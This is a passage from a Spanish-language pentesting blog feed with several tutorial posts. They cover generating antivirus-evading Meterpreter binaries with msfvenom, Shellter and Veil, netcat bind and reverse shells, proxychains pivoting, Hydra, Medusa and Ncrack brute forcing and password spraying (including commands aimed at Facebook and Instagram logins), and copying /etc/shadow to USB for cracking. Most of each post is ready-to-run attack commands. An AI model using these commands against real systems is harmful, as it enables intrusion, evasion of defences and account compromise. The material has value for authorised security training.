ID: 4625. Figura 5: Evento con ID 4625 - Error de una cuenta al iniciar sesión. Saludos! "},{"title":"Shellter y Veil-Evasion: evasión de antivirus ocultando shellcodes","url":"/posts/shellter-veil-evasion-antivirus-shellcodes-binarios/","summary":"Hay diversas técnicas para establecer una sesión hacia una máquina remota. Una de ellas es la generación de un fichero binario que sea ejecutado por la víctima, este binario tendrá un payload …","tags":["Pentesting","Red Team","Hacking Ético","Antivirus","Malware","Shellter","Veil-Evasion","Metasploit","MITRE ATT\u0026CK"],"date":"2020-07-16","content":"Hay diversas técnicas para establecer una sesión hacia una máquina remota. Una de ellas es la generación de un fichero binario que sea ejecutado por la víctima, este binario tendrá un payload configurado que nos proporcionará una shell remota estableciendo una conexión directa o inversa hacia el equipo de la víctima, consiguiendo así una sesión en el mismo contexto de integridad del usuario que ejecutó el binario. Se trata de un tipo de ataque client-side donde será el usuario final quien interactúe ejecutando el fichero malicioso. La forma de envío de estos ejecutables hacia la máquina remota sin tener una sesión previa puede ser de muchas formas: En el caso de tener acceso físico a la organización distribuir unidades externas usb con el binario esperando que alguien lo ejecute o envío de emails en el que se adjunte el fichero o un hipervínculo que redirige a una web externa donde se descargará (esto suele ser muy habitual). El principal \u0026ldquo;inconveniente\u0026rdquo; que nos encontramos como pentesters a la hora de ejecutar este método es que estos binarios ya sea por su contenido, sus firmas, morfología, etc. es probable que sea detectado y bloqueado por los fabricantes de antivirus o antimalware. Una forma de eludir binarios para evitar ser detectados es aplicar una capa de ocultación en su payload. Los encoders es una opción pero no suelen ser efectivos, sin embargo existen herramientas como Shellter y Veil-Evasion que generan sus propios payloads predefinidos utilizando crypters entre otras técnicas de ofuscación y que los hacen menos detectables para los sistemas de antivirus. Comparativa de detección por antivirus de binarios con payloads maliciosos Link to heading msfvenom Link to heading msfvenom se trata de una herramienta que combina msfpayload para la generación de payloads y msfencode para la \u0026ldquo;ocultación\u0026rdquo; de payloads. Podemos generar binarios de forma sencilla estableciendo una serie de parámetros como puede ser la dirección IP y puerto a la que se conectará la máquina remota cuando ejecute el binario, tipo de arquitectura, payload, encoder (por defecto usará shikata_ga_nai) y caracteres de escape que puedan ocasionar algún tipo de error en la generación del binario. Para generar un payload que establezca una conexión inversa con un Meterpreter y que sea compatible con sistemas Windows de arquitecturas x86 de 32 bits. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.19 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b \u0026#39;\\x00\u0026#39; -f exe \u0026gt; shell.exe Figura 1: Generar binario malicioso payload meterpreter con msfvenom. En virustotal.com podemos analizar en varios motores de antivirus el binario generado con msfvenom y conocer qué antivirus lo detectan como malicioso y cuales no. Como se ve en la captura ha sido analizado por 71 antivirus de los cuales lo han detectado 56. Figura 2: Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom. Shellter Framework Link to heading Shellter Framework se trata de una herramienta/framework con la que podemos elegir unos binarios preestablecidos ubicados en /usr/share/windows-binaries el que escojamos se le añadirá un payload utilizando crypters dificultando así la detección por los antivirus. Ejecutamos Shellter e indicamos el binario, en este caso vncviewer.exe. Figura 3: Shellter - Seleccionar binario vncviewer.exe. Seleccionamos el tipo de payload ya predefinidos para aplicar en el binario anterior y una IP y puerto local de la máquina atacante para establecer la conexión con la máquina remota cuando ejecute el binario. Figura 4: Shellter - Seleccionar y configurar payload en el binario vncviewer.exe. Una vez generado el binario por Shellter comprobamos la detección en virustotal. En esta ocasión vemos cómo el mismo tipo de payload ha sido detectado por 22 antivirus de un total de 69. Figura 5: Detección del binario malicioso generado con Shellter en VirusTotal.com. Veil-Evasion Framework Link to heading Veil-Evasion Framework se trata de otra alternativa a Shellter. Con la misma idea dispone de una gran cantidad de payloads predefinidos en diversos lenguajes, no es necesario escoger un binario como en el caso de Shellter podemos generar nuestro propio binario aplicando el payload que queramos. Ejecutamos el Veil-Evasion Framework, con use 1 elegimos la modalidad de Evasion, listamos los payloads disponibles con list. Figura 6: Veil-Framework - Seleccionar tipo y lista de payloads disponibles. Como ejemplo desde la lista seleccionamos el número que corresponde al payload go/meterpreter/rev_tcp. Con set LHOST y set LPORT establecemos la dirección IP y puerto local a la que se conectará la máquina remota y generamos el binario con generate. Figura 7: Veil-Framework - Configurar payload y generar binario. También podemos generar estos binarios de forma no interactiva sin necesidad de interactuar ni ejecutar el framework completamente. Siguiendo el ejemplo anterior sería algo así. ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 10.0.0.19 --port 4444 -o shell2 Figura 8: Veil-Framework CLI - Configurar y generar binario en una sola línea de instrucción. Finalmente subimos este binario para analizarlo en virustotal y compararlo con Shellter. La detección de antivirus es de 43 de 70. Aunque es cierto que se trata de otro tipo de payload, la detección es más elevada que en el caso de Shellter. Figura 9: Detección del binario malicioso generado con Veil-Framework en VirusTotal.com. Conclusiones Link to heading Vistas las comparativas de detección, msfvenom quedaría descartado y Shellter se colocaría en una mejor posición respecto a Veil-Evasion. Lógicamente esto no evita el ser detectados pero se trata de una técnica más que podemos aplicar de forma rápida y sencilla para evitar que nuestro binario con una shellcode sea detectado por un número determinado de antivirus pudiendo así facilitar una intrusión a un sistema de forma directa tipo client-side en un ejercicio de pentesting. Saludos! "},{"title":"Netcat: conexiones directas e inversas, shells y banner grabbing","url":"/posts/netcat-conexiones-directas-inversas-shells-banner-grabbing/","summary":"Netcat es una herramienta de red que permite a través de intérprete de comandos abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.\nPara ver …","tags":["Pentesting","Red Team","Post-Explotación","Redes","Tunneling","Fingerprint","Metasploit"],"date":"2020-07-06","content":"Netcat es una herramienta de red que permite a través de intérprete de comandos abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP. Para ver ejemplos tendremos una máquina Kali (10.0.0.10) con netcat ya instalado y una máquina Windows (10.0.0.19) donde podemos descargar y usar los binarios de netcat para Windows. Un ejemplo de uso sencillo donde podemos enviarnos información de texto de una máquina a otra como si de un chat se tratara. nc sería el comando para invocar a netcat. Windows se queda a la escucha -l a espera de establecer la conexión, en modo verbose -v, en el puerto 1190 -p. nc -lvp 1190 Kali se conecta iniciando la conexión a la dirección IP de la máquina Windows por el puerto 1190. nc 10.0.0.10 1190 Figura 1: Conexión con netcat nc. Ejecutando shells en tipo de conexiones directas e inversas Link to heading Figura 2: Esquema de conexiones de shells directas e inversas. En los próximos escenarios se usarán las siguientes máquinas: Kali: 10.0.0.10 Windows: 10.0.0.19 Puerto de ejemplo: 1190 Conexión directa Link to heading Para crear conexiones directas entre las máquinas Kali y Windows, la máquina víctima se pondrá a la escucha en un puerto y la máquina atacante se conectará directamente a ella estableciendo la conexión. Estas conexiones pueden ser rechazadas por el firewall de la máquina víctima ya que inicialmente la conexión es establecida por la máquina atacante. Escenario A: Kali será el atacante y Windows será la víctima. Windows se pondrá a la escucha en el puerto 1190 ejecutando (ofreciendo ya que está en modo listen -l) una consola Powershell -e. nc -lvp 1190 -e powershell.exe Kali se conectará de forma directa estableciendo una conexión a la IP y puerto de la máquina Windows consiguiendo así la Powershell ofrecida. nc 10.0.0.10 1190 Figura 3: Conexión directa Powershell. Windows listen Kali conecta. Escenario B: Kali será la víctima y Windows será el atacante. Para crear una conexión directa desde una máquina Windows a una máquina Kali (al contrario que el ejemplo anterior). Kali se pondrá a la escucha en el puerto 1190 sirviendo una shell /bin/bash para ser ejecutada. nc -lvp 1190 -e /bin/bash Windows se conectará a la IP y puerto de la máquina Kali y recibirá la ejecución ofrecida, en este caso una shell bash. nc 10.0.0.19 1190 Figura 4: Conexión directa /bin/bash. Kali listen Windows conecta. Conexión inversa Link to heading Para crear conexiones inversas entre las máquinas Kali y Windows, la máquina atacante se pondrá en un puerto a la escucha y la máquina víctima se conectará a ella. Estas conexiones tienen un mayor éxito de ser establecidas ya que la máquina víctima es quien inicia la conexión hacia la máquina atacante y esto evitará un posible bloqueo de la conexión en el firewall del equipo víctima. Escenario A: Kali será el atacante y Windows será la víctima. Kali será el atacante que se pondrá a la escucha en el puerto 1190 esperando establecer una conexión. nc -lvp 1190 Windows será la víctima que se conectará a la máquina Kali ejecutando una cmd en la máquina que espera la conexión que será la máquina atacante. Kali recibirá la conexión y la cmd de la máquina víctima. nc 10.0.0.19 1190 -e cmd.exe Figura 5: Conexión inversa cmd. Kali listen Windows conecta. Escenario B: Windows será el atacante y Kali será la víctima. Al contrario que el ejemplo anterior, ahora la máquina Windows será la atacante para recibir una shell bash de la máquina víctima Kali. Windows es la máquina atacante que se pone a la escucha en el puerto 1190 esperando recibir una conexión por parte de la máquina víctima Kali que tendrá la ejecución de un shell bash. nc -lvp 1190 Kali es la máquina víctima que se conecta a la IP y puerto de la máquina atacante ejecutando y consiguiendo así una shell bash para la máquina atacante Windows. nc 10.0.0.10 1190 -e /bin/bash Figura 6: Conexión inversa /bin/bash. Windows listen Kali conecta. El tráfico generado con netcat no está cifrado por lo que es posible capturarlo y visualizarlo en texto plano. Figura 7: Análisis del tráfico generado con netcat. Existe una alternativa similar a netcat llamada cryptcat que emplea comunicaciones cifradas, se trata de un proyecto que no se actualiza desde 2005 está desarrollado en lenguaje C su código fuente está disponible pero será necesario compilarlo con Visual Studio y generar el binario para sistemas Windows. Transferencia de ficheros Link to heading En estos escenarios será el mismo enfoque en ambos, transferir un fichero desde la máquina atacante a la máquina víctima. La diferencia radica en el sentido de las conexiones, qué máquina estará a la escucha y cuál establecerá la primera conexión. Escenario A: Envío de un fichero desde la máquina atacante que establece la conexión inicial, hacia la máquina víctima que permanece a la escucha. Kali será la máquina desde donde queremos enviar el fichero hacia la máquina remota. Establecemos la conexión a la IP y puerto de la máquina Windows indicando el fichero a transferir como entrada de la conexión con el signo menor que \u0026lt;. nc 10.0.0.10 1190 \u0026lt; file.exe Windows recibirá el fichero manteniéndose a la escucha en el puerto 1190 esperando recibir el fichero redireccionando su salida con el signo mayor que \u0026gt;. nc -lvp 1190 \u0026gt; file.exe Figura 8: Transferencia de ficheros con netcat. Escenario B: Envío de un fichero desde la máquina atacante que permanece a la escucha, hacia la máquina víctima que establece la conexión inicial. Otra forma de hacerlo sería invirtiendo las conexiones de escucha, aplicando la misma finalidad. Desde la máquina Kali nos ponemos a la escucha con el fichero. nc -lvp 1190 \u0026lt; file.exe Desde la máquina remota Windows establecemos la conexión a la IP y puerto de la máquina Kali indicando como salida el fichero a recibir. nc 10.0.0.19 1190 \u0026gt; file.exe Figura 9: Transferencia de ficheros con netcat. Transferencia de directorios Link to heading Para transferir directorios podemos usar el mismo método que enviar un archivo con la diferencia de que previamente podemos comprimir o empaquetar el directorio con tar o zip para posteriormente desempaquetarlo en la máquina destino. Kali será la máquina donde estará el directorio que queremos transferir, empaquetamos el directorio en un fichero comprimido, hacemos un cat y el fichero comprimido concatenando la salida con una pleca | a netcat donde nos ponemos a la escucha en el puerto 1190 a la espera de recibir una conexión. zip data.zip data cat data.zip | nc -lvp 1190 Windows será la máquina que recibirá el fichero comprimido que contendrá el directorio, establecemos la conexión a la IP y puerto de la máquina Kali indicando una redirección \u0026gt; y un nombre para el fichero a recibir. nc 10.0.0.10 1190 \u0026gt; data.zip Figura 10: Transferencia de directorios (empaquetando el directorio) con netcat. Envío de información en tiempo real Link to heading Como ejemplo usaremos netcat para la transferencia de datos a tiempo real como puede ser un fichero de log. Kali será la máquina donde se alojará el fichero de log que registra los accesos a un servidor web (/var/log/apache2/access.log), con tail -f e indicando el fichero de log veríamos en pantalla la información actualizándose de forma dinámica en tiempo real, concatenando la salida con un pipe | a netcat IP y puerto hacia la máquina remota Windows que estará a la escucha. tail -f /var/log/apache2/access.log | nc 10.0.0.10 1190 Windows será la máquina que estará a la escucha en el puerto 1190 a la espera de recibir datos del fichero de log enviado desde la máquina Kali. nc -lvp 1190 Figura 11: Envío de información en tiempo real de un fichero log con netcat. Otros usos de netcat Link to heading TCP Scan Link to heading Podemos usar netcat como herramienta simple para el escaneo de puertos hacia una IP remota, indicando un rango de puertos. El modo de escaneo por defecto es TCP y nos mostrará aquellos puertos y el nombre del servicio/protocolo asociado en caso de que el puerto esté abierto, los puertos cerrados no los mostrará. -v: verbose -z: modo zero-i/o (solo informe de estado de conexión) -n: solo números IP nc -vzn 10.0.0.11 21-80 Figura 12: TCP Scan - Escaneo de puertos en modo TCP con netcat. UDP Scan Link to heading Nos permite hacer el mismo escaneo pero usando un modo UDP (parámetro -u). Nos mostrará todos los puertos escaneados, indicando cuáles están abiertos y cerrados, en el caso de los abiertos nos indicará el nombre del servicio/protocolo asociado a ese puerto. -u: modo UDP nc -vzu 10.0.0.11 21-80 Figura 13: UDP Scan - Escaneo de puertos en modo UDP con netcat. Banner Grabbing Link to heading Por último podemos usar netcat para intentar obtener la información del banner de servicios abiertos en las máquinas remotas. Esto se conoce como técnicas Banner Grabbing. nc 10.0.0.11 22 nc 10.0.0.11 21 Figura 14: Banner Grabbing - Obteniendo información de versión de servicios SSH y FTP con netcat. Web de referencia Link to heading Reverse Shell Generator: https://www.revshells.com Conclusiones Link to heading En un principio puede resultar confuso entender qué diferencias existen entre las conexiones directas e inversas con netcat. Para tenerlo claro hay que entender quién será la máquina atacante y quien será la víctima. En una perspectiva desde una máquina atacante a una máquina víctima. Las conexiones directas el atacante establecerá la conexión inicial conectándose a un puerto a la escucha establecido en la máquina víctima. Las conexiones inversas el atacante se pondrá en un puerto a la escucha esperando recibir un inicio de conexión desde la máquina víctima proporcionando al atacante una shell interactiva en su ejecución. Aplicando estos conceptos podemos entender el funcionamiento de conexiones que usa Metasploit para ofrecernos un Meterpreter o una Shell de forma directa o inversa. Un ejemplo sería un handler a la escucha y la construcción de un binario ejecutable donde su payload puede ser una instrucción netcat ejecutando una shell o cualquier otro código que deseemos. Por otro lado, es interesante conocer que con netcat tenemos la posibilidad de realizar TCP/UDP Scan y Banner Grabbing a máquinas remotas. Es cierto que para esto ya tenemos nmap entre otras herramientas pero no está de más tenerlo en cuenta. Saludos! "},{"title":"Pivoting entre proxys encadenados con Proxychains","url":"/posts/pivoting-entre-proxys-encadenados-con-proxychains/","summary":"Proxychains es una herramienta que actúa como un servidor proxy soportando conexiones TCP en protocolos HTTP, HTTPS, SOCKS4 y SOCKS5. Su principal característica es el encadenamiento de servidores …","tags":["Pentesting","Red Team","Pivoting","Tunneling","Port Forwarding","SSH","Redes"],"date":"2020-06-29","content":"Proxychains es una herramienta que actúa como un servidor proxy soportando conexiones TCP en protocolos HTTP, HTTPS, SOCKS4 y SOCKS5. Su principal característica es el encadenamiento de servidores proxy configurados y como redirige estas peticiones de uno a otro. En una fase de reconocimiento y enumeración hacia un sitio web, dependiendo el caso, intentamos mantener un cierto grado de anonimato ocultando nuestra dirección IP pública. Para ello usamos servidores Proxy o VPN siendo estas más fiables, prácticas y con un mayor nivel de garantía. El uso de Proxychains nos permite configurar varios servidores proxy e ir reenviando de uno a otro de forma secuencial las peticiones que realicemos usando una segunda herramienta que no tenga capacidad para realizar esta tarea y así convertirla en anónima como pueden ser el uso de Nmap, SSH, un navegador web, etc. proxychains \u0026lt;aplicación\u0026gt; \u0026lt;argumento\u0026gt; proxychains firefox http://ifconfig.me Existen multitud de sitios web donde podemos encontrar servidores proxy abiertos, para realizar las siguientes pruebas de forma rápida son los que usaré, lo ideal sería usar diferentes máquinas que nosotros montemos y conozcamos en distintos hostings, configurar un servidor proxy con usuario y password y hacer uso de estas IPs y puertos. hidemy.name Link to heading Es un sitio web en el que encontramos una gran lista que suele estar actualizada de servidores proxy públicos. Proxy list: https://hidemy.name/es/proxy-list/ Figura 1: Proxy list en https://hidemy.name. Podemos instalar Proxychains desde los repositorios, en Kali ya viene incluido en su suite de herramientas. Algunas de las opciones disponibles a configurar en su fichero de configuración /etc/proxychains.conf. quiet_mode: Si está descomentada indicaría un modo verbose activado. proxy_dns: Todas las peticiones DNS también saldrán por el proxy, es importante para conservar el anonimato, si la petición DNS va por nuestra IP y el tráfico por la IP del proxy podría llegar a encontrarse una correlación en los logs del servidor remoto. Se encadenan en el mismo orden en el que se define la lista. Un ejemplo de la sintaxis de configuración sería. \u0026lt;tipo\u0026gt; \u0026lt;IP\u0026gt; \u0026lt;puerto\u0026gt; \u0026lt;usuario\u0026gt; \u0026lt;password\u0026gt; socks4 192.168.40.30 1080 user pass En el caso de que el servidor proxy sea público y por lo general no contenga un usuario y contraseña se omitiría. En el apartado de ProxyList definimos la lista de servidores proxy. Por defecto Proxychains hace uso de Tor. En el siguiente escenario se usarán servidores proxy de la lista anterior de hidemy.name. Figura 2: Estableciendo un tipo de proxy socks4 público en proxychains. En la siguiente captura se muestra el resultado de una petición curl a la web https://ifconfig.me/ip que nos dará como resultado nuestra dirección IP pública sin proxychains. Usando proxychains vemos como la dirección IP pública es el servidor proxy configurado en proxychains, siendo este quién realiza la petición al sitio web. proxychains curl https://ifconfig.me/ip Figura 3: Comprobando la IP del proxy al visitar ifconfig.me. Ahora añadiremos dos servidores proxy al fichero de configuración de proxychains. Si realizamos la misma petición con curl usando proxychains vemos como la petición se reenvía de uno a otro en el mismo orden establecido en el fichero de configuración. Para el sitio ifconfig.me será el último servidor proxy quien realizó la solicitud y será el que se registre en el log de acceso del servidor web. Figura 4: Encadenando varios proxy con proxychains. Pivoting entre redes internas con Proxychains Link to heading Proxychains también nos ayuda en la evasión de firewalls entre las comunicaciones en redes locales internas. En el siguiente escenario el equipo de la Red A no tiene visibilidad con el equipo de la Red B pero existe un equipo intermedio que tiene visibilidad con ambas redes y que el equipo de la Red B solo aceptará peticiones que provengan de ese equipo intermedio. Si queremos realizar un escaneo de puertos con nmap desde el equipo de la Red A al equipo de la Red B en una conexión directa no podríamos por una cuestión de visibilidad en la segmentación de redes internas locales. Sin embargo sí tenemos acceso al equipo intermedio que sí está autorizado para poder comunicarse con el equipo de la Red B. Figura 5: Pivoting hacia otra red interna con Proxychains. Podríamos conectarnos al equipo intermedio y usar nmap desde ese equipo, pero no queremos interferir instalando paquetes ni tampoco tenemos permisos suficientes para realizar instalaciones. En estos casos lo mejor sería establecer una conexión tunelizada ejecutándose en background habilitando un reenvío de puerto dinámico (port forwarding dynamic). ssh -NfD 1280 adrian@10.0.0.40 -N: No ejecuta un comando remoto (útil solo para reenviar puertos) -f: Se ejecuta en segundo plano -D: Reenvío local de un puerto dinámico Figura 6: Estableciendo tunel ssh port forwarding dynamic. Configuramos proxychains para usar el puerto local 1280 que reenviará la petición al equipo intermedio y este a su vez al equipo de la Red B. En la siguiente captura vemos como usando simplemente nmap no llegamos al equipo de la Red B pero a través de proxychains somos capaces de escanear un servicio web disponible en el puerto 80. proxychains nmap -sS 10.0.0.16 -p80 Figura 7: Pivoting entre redes locales internas con Proxychains. Saludos! "},{"title":"Hydra, Medusa y Ncrack: password cracking por fuerza bruta y password spraying","url":"/posts/hydra-medusa-ncrack-password-cracking-fuerza-bruta-spraying/","summary":"THC-Hydra, Medusa y Ncrack son herramientas para realizar ataques de fuerza bruta a servicios activos cliente/servidor como: ssh, ftp, rdp, smb, mysql, telnet, http, imap, vnc, etc.\nPara mostrar el …","tags":["Pentesting","Red Team","Fuerza bruta","Cracking","SSH","RDP","SMB","Hydra"],"date":"2020-06-23","content":"THC-Hydra, Medusa y Ncrack son herramientas para realizar ataques de fuerza bruta a servicios activos cliente/servidor como: ssh, ftp, rdp, smb, mysql, telnet, http, imap, vnc, etc. Para mostrar el uso de estas herramientas usaré el siguiente escenario de ejemplos. Escaneando con nmap los equipos remotos y puertos empleados para cada tipo de servicio. nmap -p 21 10.0.0.16 # Windows 7 servicio FTP nmap -p 3389 10.0.0.16 # Windows 7 servicio RDP nmap -p 445 10.0.0.16 # Windows 7 servicio SMB/CIFS nmap -p 22 10.0.0.40 # Linux servicio SSH Figura 1: Escaneo de puertos a máquina en servicios SSH, RDP, FTP y SMB. THC-Hydra Link to heading Hydra es una de las herramientas más conocidas para este tipo de ataques a servicios online. Hay que tener en cuenta que este tipo de ataques son activos y no pasivos, por lo que hay una interacción con el servicio que vamos a comprometer mediante un intento de autenticación de credenciales. Esto creará un evento en el log de la máquina remota servidora del servicio, en el caso de tener algún tipo de control de eventos en el endpoint se podrían detectar intentos de conexión con credenciales erróneas y disparar alertas. Principalmente se pueden definir 3 tipos de ataques: Fuerza bruta por diccionario con múltiples usuarios y passwords. Fuerza bruta en profundidad. Fuerza bruta en anchura o Password spraying. Fuerza bruta por diccionario con múltiples usuarios y passwords Link to heading Este tipo de ataques se caracterizan por usar un wordlist tanto para un conjunto de usuarios y de contraseñas en plano previamente definidos. En el siguiente ejemplo hay nombres de usuarios y contraseñas definidos en los ficheros \u0026ldquo;users\u0026rdquo; y \u0026ldquo;wordlist\u0026rdquo; respectivamente a un intento de conexión a la máquina remota 10.0.0.16 que será un Windows 7 con un servicio FTP. hydra -L users -P wordlist -vV 10.0.0.16 ftp -L: Fichero que contiene la lista de usuarios. -P: Fichero que contiene la lista de passwords. -v: Modo verbose -V: Muestra el intento por cada login+pass 10.0.0.16 ftp: Especificamos la IP de la máquina remota y el tipo de servicio. El usuario \u0026ldquo;ventas\u0026rdquo; y la password \u0026ldquo;Pa$$w0rd123\u0026rdquo; serán las credenciales válidas para acceder al servicio FTP. Hydra probará intentos de conexión al servicio haciendo un barrido entre las distintas posibilidades combinatorias entre los distintos usuarios y contraseñas definidas. Figura 2: Hydra - Fuerza bruta por diccionario con múltiples usuarios y passwords al servicio FTP. Como ya comenté anteriormente, estos ataques son reconocimiento activos por lo que dejan un rastro en el log del servidor remoto. En la siguiente captura se puede ver el intento de conexión fallida al intentar autenticarse con el usuario \u0026ldquo;luis\u0026rdquo; y su password en el servidor FTP remoto. Figura 3: Log en el servidor FTP del intento de autenticación. Fuerza bruta en profundidad Link to heading Fuerza bruta en profundidad o fuerza bruta, a secas: Se trata de utilizar muchas contraseñas para una sola cuenta de usuario. Como ejemplo se realiza un ataque de fuerza bruta al servicio RDP a una cuenta concreta llamada \u0026ldquo;maria\u0026rdquo; y probar un wordlist con varias contraseñas posibles. hydra -l maria -P wordlist -vV 10.0.0.16 rdp -l: Nombre de usuario único. -P: Fichero de lista de contraseñas. Un detalle a tener en cuenta cuando realice los intentos de conexión es que si el user/pass son correctos cerrará la sesión del usuario actual que esté conectado a la máquina si lo hubiese. Figura 4: Hydra - Fuerza bruta en profundidad al servicio RDP. Al igual que el servicio anterior RDP también dejará un evento registrado en el equipo remoto. Pudiendo ver la IP y puerto del equipo que intentó realizar la conexión así como qué usuario intentó autenticarse. Figura 5: Log en el equipo remoto por un intento de autenticación al servicio RDP. Fuerza bruta en anchura o Password spraying Link to heading Fuerza bruta en anchura o Password spraying: Se trata de usar la misma contraseña para muchas cuentas de usuario. Aprovechando el mismo escenario que en el ejemplo anterior, se muestra un ataque de password spraying en el servicio de recursos compartidos de Windows SMB. hydra -L users -p M4ria.12 -vV 10.0.0.16 smb -L: Fichero de lista de usuarios. -p: Contraseña única. Haciendo referencia a un fichero llamado \u0026ldquo;users\u0026rdquo; que contiene una lista de usuarios se le especifica una misma contraseña única. Figura 6: Hydra - Fuerza bruta en anchura o password spraying al servicio SMB. Como cualquier servicio de Windows de un protocolo conocido, al igual que los casos anteriores, se creará un evento relacionado obteniendo el nombre de usuario y equipo desde donde se intentó realizar la conexión de autenticación. Figura 7: Log en el equipo remoto por un intento de autenticación al servicio SMB. En cualquier caso cuando un usuario o password específico se usarán los argumentos -l o -p en minúscula y en el caso de hacer referencia a wordlists serán -L o -P en mayúscula. Fuerza bruta en servicios web como Facebook o Instagram Link to heading Servicios que permitan una autenticación web, por ejemplo redes sociales como Facebook o Instagram también es posible realizar ataques de fuerza bruta, aunque el número de intentos es muy limitado y en el caso de fallar varias veces consecutivas es muy probable que la cuenta con la que estamos probando se desactive temporalmente como medida de seguridad, precisamente para evitar este tipo de ataques. Lo primero sería conocer la IP que nos está respondiendo, no siempre será la misma, puede variar según la zona geográfica y el balanceador que nos responda. Con un simple \u0026ldquo;ping facebook.com\u0026rdquo; o \u0026ldquo;ping instagram.com\u0026rdquo; obtendremos la IP en ese momento. Para protocolo HTTPS puerto 443 (https-get). hydra -L users -P pass -vV \u0026lt;FACEBOOK_IP\u0026gt; -s 443 -f https-get /login hydra -L users -P pass -vV \u0026lt;INSTAGRAM_IP\u0026gt; -s 443 -f https-get /accounts/login/ Para protocolo HTTP puerto 80 (http-get). hydra -L users -P pass -vV \u0026lt;FACEBOOK_IP\u0026gt; -s 80 -f http-get /login hydra -L users -P pass -vV \u0026lt;INSTAGRAM_IP\u0026gt; -s 80 -f http-get /accounts/login/ Figura 8: Ataque de fuerza bruta a servicios web como Facebook o Instagram. Medusa Link to heading Medusa es otra alternativa a THC-Hydra. Los tipos de servicios son reconocidos por el tipo de protocolo que usan. Medusa utiliza módulos para referirse al protocolo del servicio, es posible implementar diversos módulos aparte de los que trae por defecto. Estos módulos están disponibles en el path. /usr/lib/x86_64-linux-gnu/medusa/modules Repositorio: https://github.com/jmk-foofus/medusa Para el siguiente ejemplo cambiaremos de escenario. Un servidor SSH expuesto en un sistema Linux se intentará un ataque de fuerza bruta con wordlists de un conjunto de usuarios y passwords. medusa -U users -P wordlist -h 10.0.0.40 -M ssh -U: Fichero de lista de usuarios -P: Fichero de lista de contraseñas -h: Host remoto -M: Tipo de módulo. En la siguiente captura se pueden ver los intentos de conexión con las distintas combinaciones posibles entre user/pass. Figura 9: Medusa - Fuerza bruta en profundidad al servicio SSH. Al tratarse de un ataque de fuerza bruta, son ataques activos por lo que este tipo de conexiones también dejan un registro de log en el fichero /var/log/auth.log mostrando fecha, nombre de usuario, IP y puerto desde donde se intentó realizar la conexión de autenticación. Figura 10: Log en la máquina remota del intento de autenticación al servicio SSH. Ncrack Link to heading Ncrack desarrollada por nmap.org es otra herramienta alternativa a THC-Hydra y Medusa. Se caracteriza por su gran velocidad, su enfoque modular y la capacidad de escalar a múltiples hosts. Su sintaxis es similar a nmap. Manual de referencia: https://nmap.org/ncrack/man.html Repositorio: https://github.com/nmap/ncrack Continuando el ejemplo anterior, realizamos un ataque de fuerza bruta al servicio SSH con un mismo usuario usando una wordlist de contraseñas. ncrack -p 22 --user pepe -P wordlist 10.0.0.40 -p: Puerto estándar usado por el servicio. \u0026ndash;user: Nombre de usuario único. -P: Fichero de lista de contraseñas. Al igual que THC-Hydra y Medusa, Ncrack también deja su registro en el log. En la siguiente captura se observa cómo en un primer intento con el usuario juan no fue posible realizar la conexión, pero sí con el usuario pepe, lo cual es correcto. Con una lista de 8 contraseñas posibles, en ambos el tiempo de comprobación fue de 3 segundos. Figura 11: Ncrack - Fuerza bruta en profundidad al servicio SSH. Saludos! "},{"title":"Password cracking en hashes Linux (John The Ripper y Hashcat)","url":"/posts/password-cracking-en-hashes-linux-john-the-ripper-y-hashcat/","summary":"En otro artículo comentaré el proceso y técnicas para realizar Passwords cracking de hashes NTLM ntds.dit de Active Directory en sistemas Windows.\nEn esta ocasión para poder llevar a cabo un ataque …","tags":["Pentesting","Hacking Ético","Post-Explotación","Hashes","Cracking","Fuerza bruta","John the Ripper","Hashcat"],"date":"2020-06-11","content":"En otro artículo comentaré el proceso y técnicas para realizar Passwords cracking de hashes NTLM ntds.dit de Active Directory en sistemas Windows. En esta ocasión para poder llevar a cabo un ataque por fuerza bruta, diccionario o Rainbow tables a los hashes de contraseñas de sistemas Linux. Es necesario obtener un acceso root para copiar o volcar el contenido de los ficheros /etc/passwd y /etc/shadow. Si tenemos acceso físico a la máquina o un entorno de hipervisor donde podemos elevarnos a root abriendo una terminal usando Grub, explotar una vulnerabilidad que nos permita conseguir acceso con root o en una fase de post-explotación crear un usuario y hacerlo miembro del grupo sudo o colocarlo en /etc/sudoers. Extracción de los ficheros /etc/passwd y /etc/shadow Link to heading Una vez accedido al sistema como root. Podemos realizar la extracción de los ficheros /etc/passwd y /etc/shadow. Podríamos copiarlos a una unidad externa USB. Requiere privilegios root Para volcar los hashes de /etc/shadow necesitas privilegios root. /etc/passwd es de lectura mundial pero ya no contiene los hashes (sustituidos por x desde hace décadas); los hashes reales viven en shadow con permisos 640 root:shadow. fdisk -l # Vemos los discos conectados al sistema mkdir /mnt/usb # Creamos directorio para montar la unidad USB mount -t vfat /dev/sda1 /mnt/usb/ # Montamos la unidad USB df -h # Nos aseguramos de que está montado cp /etc/passwd /mnt/usb/passwd.txt # Copia del fichero /etc/passwd cp /etc/shadow /mnt/usb/shadow.txt # Copia del fichero /etc/shadow umount /mnt/usb # Desmontamos la unidad USB Si en el momento de desmontar la unidad USB nos muestra un mensaje del tipo umount: /mnt/usb: device is busy. Podemos ver que proceso está siendo usado para /mnt/usb, finalizarlo e intentar desmontar nuevamente la unidad. fuser -vm /mnt/usb # Ver los procesos existentes. fuser -k /mnt/usb # Matar los procesos existentes. umount /mnt/usb # Desmontar la unidad (forzar con el argumento -l). unshadow: Combinar los ficheros passwd y shadow Link to heading Una vez conseguidos ambos ficheros y volcados en una máquina controlada y aislada sin riesgo a ser bloqueados o detectados, podemos tomarnos más tiempo para el proceso de descifrado de passwords. # tail -n 3 /etc/passwd pepe:x:1005:1005::/home/pepe:/bin/bash maria:x:1006:1006::/home/maria:/bin/bash admin:x:1007:1007::/home/admin:/bin/bash # tail -n 3 /etc/shadow pepe:$6$yQVL/XM8/ZZ9S2IR$yOiJozomFYVYkdeOiXO7OGrceqiVdc6aBeb9yO4QnW.DiQQf9yEBKtm8J4F0Vu2JDXwIJtTKWfUyqMoqKqDNv/:18420:0:99999:7::: 